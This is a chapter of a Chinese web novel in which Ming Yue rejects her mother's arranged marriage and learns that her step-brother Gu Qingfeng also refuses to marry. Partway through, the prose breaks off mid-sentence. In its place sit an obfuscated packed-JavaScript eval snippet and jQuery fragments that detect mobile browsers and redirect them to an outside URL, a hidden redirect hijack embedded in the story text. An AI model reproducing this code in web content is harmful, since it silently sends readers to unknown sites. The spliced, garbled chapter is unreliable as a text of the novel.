小鸟小鸟飞走了 作品

39. 你不结婚?好巧,我也不结

明钺抬头看着明瑛,眼里是纯粹的漠然。


“谢谢你的好意,我不需要。”


不识抬举的东西!明瑛冷了脸,挑起她的下巴,“明钺,我给你脸你不要脸是吧,你不嫁给易家,还指望嫁给谁?”


“呵!你以为你是什么金尊玉贵的公主吗?还轮得到你挑三拣四?你不会蠢到要嫁给学校里一穷二白的那些男人吧,你以为嘴上对你甜言蜜语的就是什么好货色吗?我还以为你在山里待了十几年,能聪明一点,没想到竟然蠢成这个鬼样子。”


“你一点都不像我,和你爸简直一模一样,自以为是,难怪我妈不肯要你。”


明瑛说到最后,语气里充满了讽刺和轻慢,易家父子俩看到母女之间的争吵,不敢出声,顾轻风听着明瑛句句扎心的话,看着明钺苍白的脸,实在忍不住劝阻:


“明姨!您的话太重了。”


明瑛挑眉撇了顾轻风一眼,转头对着明钺嗤笑,“怎么,你以为你这个哥哥能给你找个什么好对象吗?有血缘关系的人都不要你,你怎么会愚蠢得相信一个没血缘关系的哥哥。”


明钺继承了明瑛的长相,一双眼顾盼生辉、纤长浓密的睫毛缓缓下垂,遮蔽了眼睛里所有的情绪,所有人都以为她在为母亲的话伤心之时。


明钺却忽然伸手,“啪!”干净利落地拍开了明瑛掐着她脸颊的手,她猛然抬起头,目光如斧钺冲杀向前,


“为了和那个男人离婚,你付出的代价你都忘记了吗?你自己是婚姻的受害者,目光所及之处,村里的女人没有一个不因为婚姻而沦为男人的奴隶,我有手有脚,最艰难的日子都过来了,现在却要为了所谓的富贵生活变成别人的狗?


明瑛,这世上没有什么好对象、不好的对象,只要踏入婚姻就意味着你失去了对自我的掌控权。”


看着明瑛嘲讽的眼神,明钺寸步不让,


“个体婚制的出现伴随着女性被男性/奴役,婚姻制度是人类奴隶制度的最后一环,这出自于恩格斯的《家庭、私有制和国家起源》”


“明瑛女士,我高三就入了dang,我有自己的信仰,我不会成为剥削和压迫的伥鬼,我希望你也不要,你如果听不懂,可以多看看新闻。”


明钺淡淡地望着她,语气不咸不淡,但明瑛的脸色却很难看,打蛇打七寸,每个人都有自己的致命弱点,她的弱点是被亲人抛弃,而明瑛的弱点则是学历。


明瑛样样皆好,唯独读书天分不高,高中没读就辍学了,明瑛唯一回村的那次,除了回自己家之外,还去了镇上的中学,给中学捐了十万,明钺的眼没有一刻离开过自己的母亲,自然看到了母亲望着某个女老师又怨又恨的眼神。


她后来询问才知道,那个女老师和母亲是同班同学,直到明钺离开高中,女老师都始终保持独身。


最亲密的人最知道怎么才能伤彼此最深,两个人都不遗余力往对方心脏处使劲扎。


明钺起身,深深鞠了一躬,“打扰您了,我这辈子都不会结婚的。”


明瑛从从喉咙深处挤出两口粗气,“呵…呵…你们倒真是兄妹齐心啊。”


明钺有些不解,顾轻风缓缓举起手来,他望着明钺的眼神和之前都不一样,之前只是对于亲人的关爱和心疼,而现在,他的眼神里充满了惊喜,人生难得一知己。


互联网上的不婚主义者很多,但真实生活中坚定的反抗父母的不婚主义者却很难遇到,起码在顾轻风二十二年的人生里,他暂时只遇到了明钺这一个投缘者。


而又有多么幸运,志同道合的人,竟然还是自己的妹妹。


“好巧,我也不结婚。”他笑着,眉眼弯弯。


明钺古怪地看了他一眼,女性拒绝婚姻,是趋利避害,避免自己沦为一个男人的奴隶,他身为既得利益者,放弃婚姻是为什么?就像她不明白为什么顾轻风要把几千万的房子转让给自己一样。


顾轻风朝着明钺伸出手来,明钺不解,但默默地递出两根手指搭在他掌心,指尖传来温暖的触觉,顾轻风顺势起身,


“明姨,都这么晚了,学校有门禁,我和妹妹就先回去了。”


易安平那颗悬着的心终于落了地,暗暗咋舌,顾家这两个孩子确实都很优秀,有自己的主见,也不会被家里拿捏,但两个孩子都是不结婚的反叛者,而且性格都是那种会跟家里死犟的倔脾气,顾轻风之前就干过宁为玉碎不为瓦全的事。


现在看来像小儿子这种虽然蠢但听话的孩子也挺好的。


他招呼易寒,“赶紧去送人!”


“哦…好。”易寒完全不明白事情怎么会发展到这个地步,他听不懂明钺说的话,他只知道明钺拒绝了自己。


是自己哪里做得还不够好吗?他朝着门外追了上去。


明瑛看着二人离开的背影,眼神负责,良久她才转过身来,把手里的香烟掐灭,包厢里又恢复了平静。


易安平试探性地问她:“联姻这事…你看怎么办?”


明瑛把一杯酒一饮而尽,伴随着酒液的灼烧,人又恢复了理智,事实上从一开始,她就没有完全把希望放在明钺身上。


几年前小风宣布他这辈子都不结婚的时候,老顾大发雷霆,用了种种手段,逼儿子低头,父子俩闹得最凶的时候,小风宁愿跳海都不愿意被带回家,他还和某省官方联合端了自家的某个子公司,甚至他还拿刀捅伤过老顾。


自那之后,老顾就再也不敢逼迫他这个儿子了,老顾也和自己聊过,想要再生一个儿子,呵……生儿子?


明瑛眉眼里浮现出嘲讽,自己就是一刀捅死顾明杰,也不会给他生儿子。


明钺……即使接触不多,但她大概也知道明钺是个倔性子,只是她以为的阻碍顶多就是明钺有自己喜欢的人,所以不愿意接受家里的安排,但她没想到,明钺竟然说出了和顾轻风一模一样的话。


这世道,要想做成一件事千难万难,但要想毁了一个人,却很容易。


明瑛不至于丧心病狂到非要毁了明钺,但她怕明钺被逼到虎急跳墙,真闹出什么不可挽回的事情,光脚的不怕穿鞋的,眼下小风又明显和她站到一边。


明瑛叹息


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238436|163395||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


一声,联姻的心思彻底消散了。


她瞥了一眼坐在自己身边,已经开始走神的易安平,朝天翻了个白眼,男人,一个有用的都没有!


“铛!”玻璃杯倾倒,茶水全部倒在了易安平手上,滴滴答答,弄湿了衣裤。


“嘶!凉!明总……”易安平先是喊凉,看到明瑛不耐的眼神,声音又渐渐小了下去。


黯淡的灯光晃过,徒留包厢里的几尾金鱼,在水中咕噜噜吐着泡泡。


天上的月亮却很是明亮,顾轻风的食指勾着明钺的食指,脚步悠然地行走在马路上。


易寒从两人身后匆匆追来,“顾哥,顾哥,等等我!”


“怎么了,还有什么事?”


易寒看着明钺,双嘴嗫嚅,“我…是我哪里做得不好吗?我没谈过恋爱,也没有任何喜欢的女生,等我们结婚了,我肯定不会在外面乱搞的。”


明钺看着眼前的男人诚恳的脸,又想到他在游戏里围杀自己的决绝模样,男人……真是一种让人捉摸不透的生物。


“你没听清楚吗?我说了我不结婚。”


“我会对你很好的,我妈妈去世了,你嫁进我们家,不会有婆媳矛盾……”易寒还在自说自话着自己的优势,他极力想要让明钺相信,嫁给他比嫁给任何男人都要好。


明钺莫名其妙,听着他在眼前叽里呱啦,忍不住直接问顾轻风:


“他脑子是不是有问题?”


“emm……是不太好呢。”顾轻风笑眯眯的。


明钺拉着顾轻风绕开易寒,继续往前走,她一向不和蠢人对话。


“欸?明钺你等等我!”易寒还想要继续跟上来,顾轻风轻盈转身,一把精致的蝴蝶刀忽然出现在他双指之间,他晃了晃刀,笑得很和善。


银白色的刀光在月影下的指尖里潋滟生姿。


易寒不敢继续上前,顾轻风看着温柔和善,一手蝴蝶刀在圈子里可谓人人胆寒,他不得不承认,自己真没这个胆子。


相互勾着的两根手指在黑夜中慢慢地晃悠着。


一根手指扬起来推开了拼命往前凑的猫猫。


“星星,不可以打扰姐姐哦,姐姐在给你拼猫爬架。”


顾轻风买回来的猫爬架是散装的,他把明钺送回家之后,借口帮她拼猫爬架进了屋,结果明钺看着大少爷笨拙的手工活,一言不发地抢过他手里的木材和螺丝,自己拼,顾轻风就在旁边递工具,顺便拦着在半成品猫爬架里拱来拱去的星星。


“你手上为什么一点茧子都没有?”明钺几次瞥到他光滑白皙的双手,随口问他。


“为什么呢……大概是天生丽质吧。”


明钺翻了个白眼,顾轻风搂着星星笑着说:


“哈哈,当然不是啦,家里的美容师会定期进行护理,会有一些光子嫩肤这种项目。小时候,明姨做美容的时候,她也会让我尝试一下,最开始自然很不习惯,可是明姨说人为悦己者容,如果容貌和身材胜过别的男人,就能够更好地吸引我心仪的女孩子。”


“你有心仪的女孩?”